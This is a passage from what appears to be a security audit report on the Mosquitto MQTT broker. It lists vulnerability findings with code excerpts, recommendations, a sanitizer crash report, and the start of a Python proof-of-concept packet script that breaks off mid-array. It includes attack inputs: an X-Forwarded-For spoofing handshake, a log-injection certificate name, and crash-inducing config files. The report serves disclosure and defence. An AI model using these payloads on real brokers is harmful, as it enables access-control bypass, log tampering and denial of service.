```
struct dynsec__group *dynsec_groups__find(struct dynsec__data *data, const char *groupname)
{  
    struct dynsec__group *group = NULL;
    if(groupname){
        HASH_FIND(hh, data->groups, groupname, strlen(groupname),
        group);
    }
    return group;
}
```

*Figure 8.3: plugins/dynamic-security/groups.c#78–86*

```
static void group__free_item(struct dynsec__data *data, struct dynsec__group *group)
{  
    struct dynsec__group *found_group = NULL;
    if(group == NULL) return;
    found_group = dynsec_groups__find(data, group->groupname);
    if(found_group){
        HASH_DEL(data->groups, found_group);
    }
    dynsec__remove_all_clients_from_group(group);
    mosquitto_free(group->text_name);
    mosquitto_free(group->text_description);
    dynsec_rolelist__cleanup(&group->rolelist);
    mosquitto_free(group);
}
```

*Figure 8.4: plugins/dynamic-security/groups.c#88–103*

**Exploit Scenario**
A Mosquitto broker administrator manually edits a Dynamic Security configuration file and inadvertently adds a group or client with a duplicate name. When the broker exits, the plugin is unloaded, and undefined behavior occurs (which an attacker can exploit to execute arbitrary code in certain conditions).

**Recommendations**
Short term, do not dereference dynsec__group or dynsec__client structure pointers that have already been freed.
9. NULL pointer dereference in dynsec_roles__config_load

<table>
<thead>
<tr>
<th>Severity: Low</th>
<th>Difficulty: Low</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Denial of Service</td>
<td>Finding ID: TOB-MOSQ-CR-9</td>
</tr>
<tr>
<td>Target: plugins/dynamic-security/roles.c</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

Fuzzing Dynamic Security configuration file parsing revealed a NULL pointer dereference that causes the broker to crash when the plugin loads. An AddressSanitizer crash report is provided in appendix E.

When parsing the roles array of a Dynamic Security JSON configuration file, the Dynamic Security plugin does not ensure that the values of the textname and textdescription fields are strings before passing their cJSON valuestring field to the mosquitto_strdup function (figure 9.1). If either value is another type, such as a number, valuestring will be NULL, causing a NULL pointer dereference and a crash when accessed by mosquitto_strdup, which does not perform a NULL check of its argument.

```c
/* Text name */
jtmp = cJSON_GetObjectItem(j_role, "textname");
if(jtmp != NULL){
    role->text_name = mosquitto_strdup(jtmp->valuestring);
    if(role->text_name == NULL){
        mosquitto_free(role);
        continue;
    }
}

/* Text description */
jtmp = cJSON_GetObjectItem(j_role, "textdescription");
if(jtmp != NULL){
    role->text_description = mosquitto_strdup(jtmp->valuestring);
    if(role->text_description == NULL){
        mosquitto_free(role->text_name);
        mosquitto_free(role);
        continue;
    }
}
```

*Figure 9.1: The jtmp->valuestring field may be NULL when given to mosquitto_strdup. (plugins/dynamic-security/roles.c#280–299)*


```
"roles": [{
    "rolename": "admin",
    "textname": 2
  }]
```

Figure 9.2: The Dynamic Security configuration file triggers a NULL pointer dereference when the cJSON valuestring of the textname field is accessed.

```
{
    "roles": [{
      "rolename": "admin",
      "textdescription": 2
    }]
}
```

Figure 9.3: The Dynamic Security configuration file triggers a NULL pointer dereference when the cJSON valuestring of the textdescription field is accessed.

**Exploit Scenario**

A Mosquitto broker administrator inadvertently specifies a non-string value for the textname or textdescription fields of a role in a Dynamic Security configuration file. A segmentation fault occurs when the plugin attempts to parse the file, giving the administrator no information as to how to resolve the issue and denying service to all clients and bridges that depend on the broker.

**Recommendations**

Short term, use the cJSON_IsString function to ensure that the values of textname and textdescription are strings before accessing valuestring. Consider adding a NULL check in mosquitto_strdup.
10. Broker creates world-readable TLS key log files

Severity: High
Difficulty: High

Type: Data Exposure
Finding ID: TOB-MOSQ-CR-10

Target: src/net.c

Description
The Mosquitto broker’s --tls-keylog command-line argument allows broker operators to log TLS key material to a file for debugging purposes.

When creating the key log file with fopen, the tls_keylog_callback function does not set a file mode creation mask (via the umask(2) system call) to set secure file permissions (e.g., only readable and writable by the current user).

```c
static void tls_keylog_callback(const SSL *ssl, const char *line)
{
    FILE *fptr;
    UNUSED(ssl);
    if(db.tls_keylog){
        fptr = fopen(db.tls_keylog, "at");
        if(fptr){
            fprintf(fptr, "%s\n", line);
            fclose(fptr);
        }
    }
}
```

*Figure 10.1: The tls_keylog_callback function does not set a secure file mode creation mask. (src/net.c#329–342)*

As a result, the broker logs TLS key material to a world-readable file on default configurations of most Linux distributions, which use a mask value of 022.

```
$ ./src/mosquitto -c ./mosquitto.tls.conf --tls-keylog keylog
1678804656: mosquitto version 2.1.0 starting
1678804656: Config loaded from ./mosquitto.tls.conf.
1678804656: Bridge support available.
1678804656: Persistence support available.
1678804656: TLS support available.
1678804656: TLS-PSK support available.
1678804656: Websockets support available.
1678804656: Opening ipv4 listen socket on port 8883.
```
Exploit Scenario
To troubleshoot connection issues, a Mosquitto broker administrator uses the --tls-keylog argument to log TLS key material to a file. A sufficiently privileged attacker on the system captures traffic on the network interface(s) used by the broker but, due to the broker’s use of TLS, is unable to read the plaintext MQTT content. However, the attacker can read the directory in which the TLS key log file was created. The attacker exploits the default world-readable permissions of this file to access the TLS key material and decrypt the recorded traffic.

Recommendations
Short term, have the tls_keylog_callback function call umask with a mask of 077 before calling fopen to create the key log file. This will ensure that only the user running the broker can read or write to the file.

Long term, use the File created without restricting permissions CodeQL query to identify additional instances of this issue.
11. Broker trusts existing TLS key log files

<table>
<thead>
<tr>
<th>Severity: High</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Data Validation</td>
<td>Finding ID: TOB-MOSQ-CR-11</td>
</tr>
<tr>
<td>Target: src/net.c</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

The Mosquitto broker's `--tls-keylog` command-line argument allows broker operators to log TLS key material to a file for debugging purposes.

Before writing to the key log file, the `tls_keylog_callback` function does not ensure that one of the following conditions is met: A) the file does not already exist, or B) if the file exists, it is a regular file with secure permissions (owned by the user running Mosquitto, with read/write bits set for only that user). Consequently, if an attacker can predict the name of the key log file before it is created and write to its parent directory, they can create the file in advance and access its contents when the broker begins logging TLS key material.

```c
static void tls_keylog_callback(const SSL *ssl, const char *line)
{
    FILE *fptr;
    UNUSED(ssl);
    if(db.tls_keylog){
        fptr = fopen(db.tls_keylog, "at");
        if(fptr){
            fprintf(fptr, "%s\n", line);
            fclose(fptr);
        }
    }
}
```

*Figure 11.1: The `tls_keylog_callback` function does not check for file existence and permissions. (src/net.c#329–342)*

**Exploit Scenario**

To troubleshoot connection issues, a Mosquitto broker administrator wants to use the `--tls-keylog` argument to log TLS key material to a file. A sufficiently privileged attacker on the system captures traffic on the network interface(s) used by the broker but, due to the broker’s use of TLS, is unable to read the plaintext MQTT content.

However, the attacker knows what the name of the key log file will be and can write to the directory in which it will be created. The attacker creates this file, and when the broker is
run with the --tls-keylog argument, it begins logging key material to the file without noticing that the attacker has read access to it. The attacker accesses the TLS key material and decrypts the recorded traffic.

**Recommendations**

Short term, have the `tls_keylog_callback` function atomically check (see TOB-MOSQ-CR-7) whether the key log file already exists and create it if it does not. If it already exists, the function should ensure that it is a regular file (i.e., not a symlink or other special type of file), that it is owned by the user running Mosquitto, and that only the owner has read and write permissions for it.
12. libmosquitto accepts wildcard certificates for public suffixes

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Data Validation</td>
<td>Finding ID: TOB-MOSQ-CR-12</td>
</tr>
<tr>
<td>Target: lib/tls_mosq.c</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

libmosquitto's `mosquitto__cmp_hostname_wildcard` function compares a remote hostname against the domain name identifier in its TLS certificate, taking wildcards into account.

As currently implemented, the function accepts identifiers of the form `*.tld`, where `.tld` may be a public suffix, such as `.com` or `.net`. For example, libmosquitto accepts a certificate presenting as `*.com` for a connection to `example.com` (but not for a connection to `www.example.com`).

Tools such as cURL (figure 12.1) and major web browsers, such as those based on Chromium, do not permit certificates to use such identifiers. While RFC 6125 does not explicitly prohibit them, it mentions that ambiguities in the specification like this one “might introduce exploitable differences in identity checking behavior among client implementations.” Furthermore, RFC's errata directly mentions the security risks associated with allowing wildcards for public suffixes:

> If actual TLS/SSL implementations (e.g. web browsers) were to make valid matches as shown above, then someone could ostensibly obtain a cert (c.f. diginotar) for one of them and then go and MitM large swaths of domain name space.

**Figure 12.1:** The `curl` command prints an error when the target server presents a wildcard certificate for all domains under a public suffix.

**Exploit Scenario**

In error or as a result of malicious compromise, a certificate authority issues a certificate valid for `*.tld`. An attacker obtains the certificate and tries to use it to impersonate arbitrary domain names under `.tld`. While web browsers and other TLS client software can protect their users against Man-in-the-Middle (MitM) attacks by rejecting the overly broad wildcard identifier, clients using libmosquitto accept the certificate and allow the
connection. As a result, the attacker can perform MitM attacks against libmosquitto-based clients.

**Recommendations**

Short term, use the public suffix list to reject wildcard identifiers that attempt to match all domains under a public suffix, as major web browsers do. Alternatively, consider implementing libcurl’s approach of requiring at least two occurrences of a period (.) in a wildcard identifier, which results in wide wildcards for public suffixes (e.g., *.com) and private suffixes (e.g., *.myprivatetld), both of which are rejected.

Long term, add checks for this edge case to libmosquitto’s TLS verification test suite.
13. Username characters not validated when taken from client certificate

Severity: Medium  Difficulty: High

Type: Data Validation  Finding ID: TOB-MOSQ-CR-13

Target: src/handle_connect.c

Description
An MQTT username that the Mosquitto broker receives in a CONNECT packet is validated using the `mosquitto_validate_utf8` function, called from the `packet__read_string` function. `mosquitto_validate_utf8` verifies that the string it receives is valid UTF-8 and does not contain control characters, such as newlines and carriage returns.

As an alternative to reading the username from the CONNECT packet, the `use_identity_as_username` and `use_subject_as_username` configuration options allow the broker to determine the username from the certificate presented by the client (either the Common Name [CN] or the Subject fields). When one of these options is set, the function responsible for assigning the username is `get_username_from_cert`, which does not call `mosquitto_validate_utf8` to validate the username. As a result, the username specified in a client certificate may contain characters that would not otherwise be allowed.

Exploit Scenario
A broker is configured with the `use_identity_as_username` option. An attacker obtains a client certificate, signed by the broker’s trusted certificate authority, with a CN field that contains arbitrary text that they wish to inject into the broker’s logs. The CN is prefixed with a newline byte (0x0a)—for example, \n<any timestamp>: log injection.

When the attacker uses this certificate to connect to the broker, the attacker’s chosen text is inserted on its own lines in the broker’s logging destination, misleading the broker operator or obfuscating other malicious activity in the logs.

```
1678832163: New client connected from 127.0.0.1:57940 as <any timestamp>: log injection (p4, c1, k60, u' <any timestamp>: log injection').
1678832163: No will message specified.
1678832163: Client <any timestamp>: log injection negotiated TLSv1.3 cipher TLS_AES_256_GCM_SHA384
1678832163: Sending CONNACK to <any timestamp>: log injection (0, 0)
<any timestamp>: log injection
```

Figure 13.1: The attacker can inject arbitrary lines into the broker’s logs.
Recommendations
Short term, have the `get_username_from_cert` function call `mosquitto_validate_utf8` on the contents of the certificate's CN and Subject fields when `use_identity_as_username` or `use_subject_as_username` is set.

Severity: High
Difficulty: Low
Type: Data Validation
Finding ID: TOB-MOSQ-CR-14
Target: src/http_serv.c

Description
For listeners that use the WebSocket protocol, Mosquitto reads and parses the X-Forwarded-For HTTP header, if supplied, to determine the originating IP address of a client (figure 14.1). Specifically, Mosquitto treats the header value as a comma-separated list of addresses and returns the first entry in the list as the client address. This entry is then assigned to the address field of the client's mosquitto structure (figure 14.2).

This handling of the X-Forwarded-For header is incorrect for two reasons:

1. The broker always reads this header, even if there are no proxies in front of it. When there are no proxies, the value of the header is controlled entirely by the client, so the client can trivially spoof its IP address by providing its own X-Forwarded-For header. There is currently no way to inform the broker that there are no proxies in use and that the header should be ignored.

2. Proxies typically append, rather than overwrite, the trustworthy address of the client to the untrustworthy value of X-Forwarded-For that the client supplies. As a result, the first value in the list cannot be trusted, and using it allows the client to spoof its IP address.

```c
206   } else if(!strncasecmp(http_headers[i].name, "X-Forwarded-For",
207         http_headers[i].name_len)) {
208         forwarded_for = http_headers[i].value;
209         forwarded_for_len = first_entry(forwarded_for,
210             (int)http_headers[i].value_len);
211         mosquitto__FREE(mosq->address);
212         mosq->address = mosquitto__malloc((size_t)forwarded_for_len+1);
213         if(!mosq->address) {
214             return MOSQ_ERR_NOMEM;
215         } else {
216             strncpy(mosq->address, forwarded_for, (size_t)forwarded_for_len);
217             mosq->address[forwarded_for_len] = '\0';
```

Figure 14.1: The value of the X-Forwarded-For header is passed to the first_entry function. (src/http_serv.c#206–216)
static int first_entry(const char *s, int len)
{
    int i;
    for(i=0; i<len; i++)
    {
        if(s[i] == '\0' || s[i] == ',')
            return i;
    }
    return len;

Figure 14.2: The first_entry function extracts the first entry in the comma-separated X-Forwarded-For list. (src/http_serv.c#64–74)

Exploit Scenario
A Mosquitto broker is configured to use the WebSocket protocol but is not situated behind any proxies. An attacker connects to the broker and sends a WebSocket handshake with an X-Forwarded-For header containing an IP address they wish to spoof (e.g., 8.8.8.8).

GET /mqtt HTTP/1.1
Host: localhost
X-Forwarded-For: 8.8.8.8
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: Ox0b8Xy0PXHwERd7XOkvnQ==
Sec-WebSocket-Protocol: mqtt
Sec-WebSocket-Version: 13

Figure 14.3: The WebSocket handshake with the X-Forwarded-For header can be used to spoof the client’s IP address.

The attacker then sends an MQTT CONNECT packet over the WebSocket stream. Once this happens, the broker begins reporting the address of the attacker as 8.8.8.8 (figure 14.4), and the attacker can bypass any IP address-based restrictions imposed by the broker or its plugins.

1678839485: New connection from 127.0.0.1:44116 on port 8080.
1678839485: New client connected from 8.8.8.8:44116 as foo (p4, c0, k60).

Figure 14.4: The broker begins reporting the spoofed IP address.

Recommendations
Short term, disable parsing of the X-Forwarded-For header by default. Add a configuration option to enable it that also specifies the number of proxies between clients and the broker. Once the number of proxies is known, determine the correct client IP address in the X-Forwarded-For list by counting backwards from the end of the list by the configured number of proxies minus one. For example, with one proxy, the last address in the list is the client’s. With two proxies, the second from the last is the client’s, and so on.
References

- MDN Web Docs: X-Forwarded-For
15. Logger registers with DLT when DLT is not a log destination

Severity: **Informational**  Difficulty: **High**
Type: Undefined Behavior  Finding ID: TOB-MOSQ-CR-15
Target: src/logging.c

**Description**
When built with the WITH_DLT macro, Mosquitto supports the Diagnostic Log and Trace (DLT) service as a log destination. At startup, Mosquitto checks for the presence of a named pipe (FIFO) at /tmp/dlt (figure 15.1) and, if found, uses the DLT API to register itself, which involves writing to /tmp/dlt (figure 15.2). These actions occur even when DLT is not configured as a log destination or not present on the system.

```c
84  memset(&statbuf, 0, sizeof(statbuf));
85  if(stat("/tmp/dlt", &statbuf) == 0){
86     if(S_ISFIFO(statbuf.st_mode)){
87         fd = open("/tmp/dlt", O_NONBLOCK | O_WRONLY);
88         if(fd != -1){
89             dlt_allowed = true;
90             close(fd);
91         }
92     }
93 }
```

*Figure 15.1: Mosquitto checks for a named pipe at /tmp/dlt. (src/logging.c#84–92)*

```c
138  #ifdef WITH_DLT
139     dlt_fifo_check();
140  if(dlt_allowed){
141      DLT_REGISTER_APP("MQTT","mosquitto log");
142      dlt_register_context(&dltContext, "MQTT", "mosquitto DLT context");
143  }
```

*Figure 15.2: Mosquitto registers with DLT. (src/logging.c#138–143)*

Mosquitto does not verify that the user configured DLT for logging and instead confirms only that /tmp/dlt exists and is a named pipe, so unexpected behavior may occur if the file is controlled by an attacker. As only nonsensitive registration metadata is written to the file unless DLT is set as a log destination, the severity of this issue is set to informational. It is possible to view the registration metadata written to the named pipe by reading from it before the broker exits.
$ tail -f /tmp/dlt | xxd
00000000: 4455 4801 0200 0000 4d51 5454 fc00 1b00  DUH.....MQTT....
00000010: 0d00 0000 6d6f 7371 7569 7474 6f20 6c6f  ....mosquitto lo
00000020: 6744 5548 0104 0000 004d 5154 544d 5154  gDUH.....MQTTMQT
00000030: 5400 0000 00fe fefc 801b 0015 0000 006d  T............m
00000040: 6f73 7175 6974 746f 2044 4c54 2063 6f6e  osquitto DLT con
00000050: 7465 7874 4455 4801 0500 0000 4d51 5454  textDUH.....MQTT
00000060: 5154 54fc 801b 0015 0000 006d  MQTT....DUH.....

Figure 15.3: Reading from /tmp/dlt

Recommendations
Short term, have the log_init function access /tmp/dlt and register Mosquitto with DLT only when the user configures it as a log destination.
16. Documentation recommends insecure encryption practices for TLS private key

Severity: Informational
Difficulty: Low
Type: Cryptography
Finding ID: TOB-MOSQ-CR-16
Target: https://mosquitto.org/man/mosquitto-tls-7.html

Description
The mosquitto-tls man page provides example openssl commands for generating TLS private keys and certificates. The commands given to generate client and server private keys use the -des3 flag of openssl, causing the keys to be encrypted with the Triple DES (3DES) cipher (figure 16.1). 3DES is cryptographically inferior to more modern ciphers supported by OpenSSL for private key encryption, such as AES. NIST deprecated the use of 3DES for new applications in 2017 and for all applications by the end of 2023.

```
openssl genrsa -des3 -out server.key 2048
```

*Figure 16.1: Mosquito documentation suggesting a command that uses 3DES to encrypt a private key*

The man page also provides a command to generate a private key with no encryption.

```
openssl genrsa -out server.key 2048
```

*Figure 16.2: Mosquito documentation suggesting a command that generates a private key without encryption*

Recommendations
Short term, replace the -des3 flag with -aes256 in the commands to generate client and server private keys. To encourage secure key storage practices, remove the examples for generating unencrypted private keys.

Long term, review Mosquitto’s documentation for outdated guidance that could lead to insecure practices.

References
- Transitioning the Use of Cryptographic Algorithms and Key Lengths
Summary of Recommendations

Eclipse Mosquitto is a work in progress with multiple planned iterations. Trail of Bits recommends that Eclipse address the findings detailed in this report and take the following additional steps prior to deployment:

- Resolve cryptographic weaknesses by increasing the number of iterations used by PBKDF2 (TOB-MOSQ-CR-1) and implementing true constant-time comparison of secrets (TOB-MOSQ-CR-2).

- Use umask(2) to address the systemic issue of sensitive files being created with insecure permissions (TOB-MOSQ-CR-3, TOB-MOSQ-CR-6, and TOB-MOSQ-CR-10).
  - The File created without restricting permissions CodeQL query can assist in identifying additional instances of this issue.

- Address the systemic issue of sensitive data being written to potentially untrusted files (TOB-MOSQ-CR-4, TOB-MOSQ-CR-7, and TOB-MOSQ-CR-11) by using secure temporary file creation functions (e.g., mkstemp), performing existence checks atomically, and validating file types and permissions.

- Expand continuous fuzzing coverage to include Dynamic Security configuration file loading and unloading (TOB-MOSQ-CR-8 and TOB-MOSQ-CR-9).

- Continuously fuzz an AddressSanitizer-enabled build of Mosquitto using the FUME MQTT fuzzing engine (TOB-MOSQ-CR-5).

- Align libmosquitto's handling of wildcard certificates for public suffixes (e.g., *.com) with the secure behavior adopted by libcurl and major web browsers (TOB-MOSQ-CR-12). Add this edge case to libmosquitto's test suite for TLS verification.

- Update the recommendations in the mosquitto-tls man page to use secure ciphers for TLS private keys (TOB-MOSQ-CR-16). Review other areas of Mosquitto's documentation for outdated and insecure guidance.

- Expand continuous fuzzing efforts to include libmosquitto-based clients, which currently receive much less coverage than the broker.
## A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

<table>
<thead>
<tr>
<th>Vulnerability Categories</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Access Controls</td>
<td>Insufficient authorization or assessment of rights</td>
</tr>
<tr>
<td>Auditing and Logging</td>
<td>Insufficient auditing of actions or logging of problems</td>
</tr>
<tr>
<td>Authentication</td>
<td>Improper identification of users</td>
</tr>
<tr>
<td>Configuration</td>
<td>Misconfigured servers, devices, or software components</td>
</tr>
<tr>
<td>Cryptography</td>
<td>A breach of system confidentiality or integrity</td>
</tr>
<tr>
<td>Data Exposure</td>
<td>Exposure of sensitive information</td>
</tr>
<tr>
<td>Data Validation</td>
<td>Improper reliance on the structure or values of data</td>
</tr>
<tr>
<td>Denial of Service</td>
<td>A system failure with an availability impact</td>
</tr>
<tr>
<td>Error Reporting</td>
<td>Insecure or insufficient reporting of error conditions</td>
</tr>
<tr>
<td>Patching</td>
<td>Use of an outdated software package or library</td>
</tr>
<tr>
<td>Session Management</td>
<td>Improper identification of authenticated users</td>
</tr>
<tr>
<td>Testing</td>
<td>Insufficient test methodology or test coverage</td>
</tr>
<tr>
<td>Timing</td>
<td>Race conditions or other order-of-operations flaws</td>
</tr>
<tr>
<td>Undefined Behavior</td>
<td>Undefined behavior triggered within the system</td>
</tr>
</tbody>
</table>
### Severity Levels

<table>
<thead>
<tr>
<th>Severity</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Informational</td>
<td>The issue does not pose an immediate risk but is relevant to security best practices.</td>
</tr>
<tr>
<td>Undetermined</td>
<td>The extent of the risk was not determined during this engagement.</td>
</tr>
<tr>
<td>Low</td>
<td>The risk is small or is not one the client has indicated is important.</td>
</tr>
<tr>
<td>Medium</td>
<td>User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.</td>
</tr>
<tr>
<td>High</td>
<td>The flaw could affect numerous users and have serious reputational, legal, or financial implications.</td>
</tr>
</tbody>
</table>

### Difficulty Levels

<table>
<thead>
<tr>
<th>Difficulty</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Undetermined</td>
<td>The difficulty of exploitation was not determined during this engagement.</td>
</tr>
<tr>
<td>Low</td>
<td>The flaw is well known; public tools for its exploitation exist or can be scripted.</td>
</tr>
<tr>
<td>Medium</td>
<td>An attacker must write an exploit or will need in-depth knowledge of the system.</td>
</tr>
<tr>
<td>High</td>
<td>An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.</td>
</tr>
</tbody>
</table>
## B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

<table>
<thead>
<tr>
<th>Code Maturity Categories</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Arithmetic</td>
<td>The proper use of mathematical operations and semantics</td>
</tr>
<tr>
<td>Auditing</td>
<td>The use of event auditing and logging to support monitoring</td>
</tr>
<tr>
<td>Authentication / Access Controls</td>
<td>The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system</td>
</tr>
<tr>
<td>Complexity Management</td>
<td>The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions</td>
</tr>
<tr>
<td>Configuration</td>
<td>The configuration of system components in accordance with best practices</td>
</tr>
<tr>
<td>Cryptography and Key Management</td>
<td>The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution</td>
</tr>
<tr>
<td>Data Handling</td>
<td>The safe handling of user inputs and data processed by the system</td>
</tr>
<tr>
<td>Documentation</td>
<td>The presence of comprehensive and readable codebase documentation</td>
</tr>
<tr>
<td>Maintenance</td>
<td>The timely maintenance of system components to mitigate risk</td>
</tr>
<tr>
<td>Memory Safety and Error Handling</td>
<td>The presence of memory safety and robust error-handling mechanisms</td>
</tr>
<tr>
<td>Testing and Verification</td>
<td>The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Strong</td>
<td>No issues were found, and the system exceeds industry standards.</td>
</tr>
<tr>
<td>Satisfactory</td>
<td>Minor issues were found, but the system is compliant with best practices.</td>
</tr>
<tr>
<td>Moderate</td>
<td>Some issues that may affect system safety were found.</td>
</tr>
<tr>
<td>Category</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Weak</td>
<td>Many issues that affect system safety were found.</td>
</tr>
<tr>
<td>Missing</td>
<td>A required component is missing, significantly affecting system safety.</td>
</tr>
<tr>
<td>Not Applicable</td>
<td>The category is not applicable to this review.</td>
</tr>
<tr>
<td>Not Considered</td>
<td>The category was not considered in this review.</td>
</tr>
<tr>
<td>Further Investigation Required</td>
<td>Further investigation is required to reach a meaningful conclusion.</td>
</tr>
</tbody>
</table>
C. TOB-MOSQ-CR-5 Crash Report, PoC, and Hexdump

This appendix provides the AddressSanitizer crash report that uncovered finding TOB-MOSQ-CR-5, along with a proof of concept (PoC) and a hexdump of the Mosquitto persistence database that shows disclosed heap data.

```
=================================================================
==1889202==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000dda
at pc 0x7f782caf208f bp 0x7ffd263cdd90 sp 0x7ffd263cd538
READ of size 6400 at 0x603000000dda thread T0
  #0 0x7f782caf208e in __interceptor_fwrite
  .../..././src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1160
  #1 0x55ec92dd9809 in persist__chunk_client_write_v6
/home/ubuntu/mosquitto/src/persist_write_v5.c:79
  #2 0x55ec92dd7800 in persist__client_save
/home/ubuntu/mosquitto/src/persist_write.c:196
  #3 0x55ec92dd8e21 in persist__write_data
/home/ubuntu/mosquitto/src/persist_write.c:352
  #4 0x55ec92dafd3d in mosquitto_write_file ../common/misc_mosq.c:279
  #5 0x55ec92dd8abb in persist__backup
/home/ubuntu/mosquitto/src/persist_write.c:323
  #6 0x55ec92dae277 in mosquitto_main_loop /home/ubuntu/mosquitto/src/loop.c:217
  #7 0x55ec92d45c03 in main /home/ubuntu/mosquitto/src/mosquitto.c:460
  #8 0x7f782c2dbd8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
  #9 0x7f782c2dbf2f in __libc_start_main ../csu/libc-start.c:392
  #10 0x55ec92d443e4 in _start (/home/ubuntu/mosquitto/src/mosquitto_asan+0x243e4)
0x603000000dda is located 0 bytes to the right of 26-byte region
[0x603000000dc0,0x603000000dda)
allocated by thread T0 here:
  #0 0x7f782cb66867 in __interceptor_malloc
  .../..././src/libsanitizer/asan/asan_malloc_linux.cpp:145
  #1 0x55ec92d2e7b8 in mosquitto_malloc ../lib/memory_mosq.c:93
  #2 0x55ec92dc8dd8 in packet__read_binary ../lib/packet_datatypes.c:105
  #3 0x55ec92dca745 in packet__read_string ../lib/packet_datatypes.c:123
  #4 0x55ec92d9d8e1 in __libc_start_call_main
/home/ubuntu/mosquitto/src/handle_connect.c:856
  #5 0x55ec92d9f58e in handle__packet /home/ubuntu/mosquitto/src/read_handle.c:64
  #6 0x55ec92dc4db5 in packet__read ../lib/packet_mosq.c:565
  #7 0x55ec92d9c248 in loop_handle_reads_writes
/home/ubuntu/mosquitto/src/mux_epoll.c:284
  #8 0x55ec92db7c5f in mux_epoll__handle
/home/ubuntu/mosquitto/src/mux_epoll.c:180
```

0x603000000dda is located 0 bytes to the right of 26-byte region
[0x603000000dc0,0x603000000dda)
allocated by thread T0 here:
  #0 0x7f782cb66867 in __interceptor_malloc
  .../..././src/libsanitizer/asan/asan_malloc_linux.cpp:145
  #1 0x55ec92d2e7b8 in mosquitto_malloc ../lib/memory_mosq.c:93
  #2 0x55ec92dc8dd8 in packet__read_binary ../lib/packet_datatypes.c:105
  #3 0x55ec92dca745 in packet__read_string ../lib/packet_datatypes.c:123
  #4 0x55ec92d9d8e1 in __libc_start_call_main
/home/ubuntu/mosquitto/src/handle_connect.c:856
  #5 0x55ec92d9f58e in handle__packet /home/ubuntu/mosquitto/src/read_handle.c:64
  #6 0x55ec92dc4db5 in packet__read ../lib/packet_mosq.c:565
  #7 0x55ec92d9c248 in loop_handle_reads_writes
/home/ubuntu/mosquitto/src/mux_epoll.c:284
  #8 0x55ec92db7c5f in mux_epoll__handle
/home/ubuntu/mosquitto/src/mux_epoll.c:180
  #9 0x55ec92db9712 in mux__handle /home/ubuntu/mosquitto/src/mux.c:108
  #10 0x55ec92dab0fa in mosquitto_main_loop /home/ubuntu/mosquitto/src/loop.c:210
  #11 0x55ec92d45c03 in main /home/ubuntu/mosquitto/src/mosquitto.c:460
  #12 0x7f782c2dbd8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
```
SUMMARY: AddressSanitizer: heap-buffer-overflow
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1160
in __interceptor_fwrite
Shadow bytes around the buggy address:
0x0c067fff8160: 00 05 fa fa fd fd fa fa 00 00 00 05 fa fa
0x0c067fff8170: fd fd fd fa fa fd fd fa fa fd fa fa fd fa fd fa
0x0c067fff8180: fa fa 00 00 00 04 fa fa fd fd fa fa fa 00 00
0x0c067fff8190: 00 01 fa fa fd fd fd fa fa 00 00 00 01 fa fa
0x0c067fff81a0: fd fd fd fd fa fa 00 00 03 fa fa fa fd fd fa fd fa
=>0x0c067fff81b0: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff81d0: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
Shadow gap:              cc
==1889202==ABORTING

Figure C.1: The AddressSanitizer report that uncovered the heap buffer overread issue described in finding TOB-MOSQ-CR-5

import socket

FIRST_PACKET = [0x10, 0x4f, 0x00, 0x06, 0x4d, 0x49, 0x73, 0x64, 0x70, 0x03, 0xac,
                  0x6e, 0x09, 0x00, 0x04, 0x79, 0x79, 0x48, 0x69, 0x00, 0x0c, 0x71,
                  0x30, 0x4f, 0x6b, 0x77, 0x4e, 0x56, 0x6c, 0x70, 0x58, 0x49, 0x00,
                  0x64, 0x76, 0x39, 0x6f, 0x76, 0x54, 0x6c, 0x43, 0x6c, 0x59, 0x42,
                  0x5a, 0x71, 0x32, 0x4e, 0x37, 0x68, 0x00, 0x19, 0x6e, 0x37, 0x62,
                  0x4f,
```python
0x50,
